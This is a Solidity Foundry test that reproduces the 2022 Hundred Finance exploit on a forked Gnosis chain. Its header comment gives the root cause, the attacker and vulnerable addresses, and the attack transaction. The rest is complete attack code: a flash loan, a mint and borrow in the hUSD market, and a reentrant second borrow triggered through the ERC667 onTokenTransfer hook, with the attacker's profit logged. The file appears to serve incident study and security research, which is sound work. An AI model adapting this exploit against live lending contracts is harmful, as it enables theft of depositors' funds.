src/test/2022-03/HundredFinance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7/*
8Root cause: ERC667 tokens hooks reentrancy.
9 
10Attacker wallet: 0xd041ad9aae5cf96b21c3ffcb303a0cb80779e358
11Attacker contract: 0xdbf225e3d626ec31f502d435b0f72d82b08e1bdd
12Attack tx: https://gnosisscan.io/tx/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a098
13Debug tx: https://dashboard.tenderly.co/tx/xdai/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a098
14 
15 Vulnerable contract:
16 0x243E33aa7f6787154a8E59d3C27a66db3F8818ee
17 0xe4e43864ea18d5e5211352a4b810383460ab7fcc
18 0x8e15a22853a0a60a0fbb0d875055a8e66cff0235
19 0x090a00a2de0ea83def700b5e216f87a5d4f394fe
20 
21ref: https://github.com/compound-finance/compound-protocol/issues/141
22credit: https://github.com/Hephyrius/Immuni-Hundred-POC*/
23interface ICompoundToken {
24    function borrow(
25        uint256 borrowAmount
26    ) external;
27    function repayBorrow(
28        uint256 repayAmount
29    ) external;
30    function redeem(
31        uint256 redeemAmount
32    ) external;
33    function mint(
34        uint256 amount
35    ) external;
36    function comptroller() external view returns (address);
37}
38 
39interface IComptroller {
40    function allMarkets() external view returns (address[] memory);
41}
42 
43interface ICurve {
44    function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external;
45}
46 
47interface IWeth {
48    function deposit() external payable;
49}
50 
51contract ContractTest is Test {
52    IERC20 private constant usdc = IERC20(0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83);
53    IERC20 private constant wxdai = IERC20(0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d);
54 
55    address private constant husd = 0x243E33aa7f6787154a8E59d3C27a66db3F8818ee;
56    address private constant hxdai = 0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE;
57 
58    ICurve curve = ICurve(0x7f90122BF0700F9E7e1F688fe926940E8839F353);
59    IUniswapV2Router private constant router = IUniswapV2Router(payable(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506));
60 
61    uint256 totalBorrowed;
62    bool xdaiBorrowed = false;
63 
64    function setUp() public {
65        vm.createSelectFork("gnosis", 21_120_319); //fork gnosis at block number 21120319
66    }
67 
68    function testExploit() public {
69        borrow();
70        console.log("Attacker Profit: %s usdc", usdc.balanceOf(address(this)) / 1e6);
71    }
72 
73    function borrow() internal {
74        IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
75        IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(wxdai), address(usdc)));
76        uint256 borrowAmount = usdc.balanceOf(address(pair)) - 1;
77 
78        pair.swap(
79            pair.token0() == address(wxdai) ? 0 : borrowAmount,
80            pair.token0() == address(wxdai) ? borrowAmount : 0,
81            address(this),
82            abi.encode("0x")
83        );
84    }
85 
86    function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
87        attackLogic(_amount0, _amount1, _data);
88    }
89 
90    function attackLogic(uint256 _amount0, uint256 _amount1, bytes calldata _data) internal {
91        uint256 amountToken = _amount0 == 0 ? _amount1 : _amount0;
92        totalBorrowed = amountToken;
93        console.log("Borrowed: %s USDC from Sushi", usdc.balanceOf(address(this)) / 1e6);
94        depositUsdc();
95        borrowUsdc();
96        swapXdai();
97        uint256 amountRepay = ((amountToken * 1000) / 997) + 1;
98        usdc.transfer(msg.sender, amountRepay);
99        console.log("Repay Flashloan for : %s USDC", amountRepay / 1e6);
100    }
101 
102    function depositUsdc() internal {
103        uint256 balance = usdc.balanceOf(address(this));
104        usdc.approve(husd, balance);
105        ICompoundToken(husd).mint(balance);
106    }
107 
108    function borrowUsdc() internal {
109        uint256 amount = (totalBorrowed * 90) / 100;
110        ICompoundToken(husd).borrow(amount);
111        console.log("Attacker USDC Balance After Borrow: %s USDC", usdc.balanceOf(address(this)) / 1e6);
112        console.log("Hundred USDC Balance After Borrow: %s USDC", usdc.balanceOf(husd) / 1e6);
113    }
114 
115    function borrowXdai() internal {
116        xdaiBorrowed = true;
117        uint256 amount = ((totalBorrowed * 1e12) * 60) / 100;
118 
119        ICompoundToken(hxdai).borrow(amount);
120        console.log("Attacker xdai Balance After Borrow: %s XDAI", address(this).balance / 1e8);
121        console.log("Hundred xdai Balance After Borrow: %s Xdai", address(hxdai).balance / 1e8);
122    }
123 
124    function swapXdai() internal {
125        IWeth(payable(address(wxdai))).deposit{value: address(this).balance}();
126        wxdai.approve(address(curve), wxdai.balanceOf(address(this)));
127        curve.exchange(0, 1, wxdai.balanceOf(address(this)), 1);
128    }
129 
130    function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {
131        IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
132        address pair = factory.getPair(address(wxdai), address(usdc));
133 
134        if (_from != pair && xdaiBorrowed == false) {
135            console.log("''i'm in!''");
136            borrowXdai();
137        }
138    }
139 
140    receive() external payable {}
141}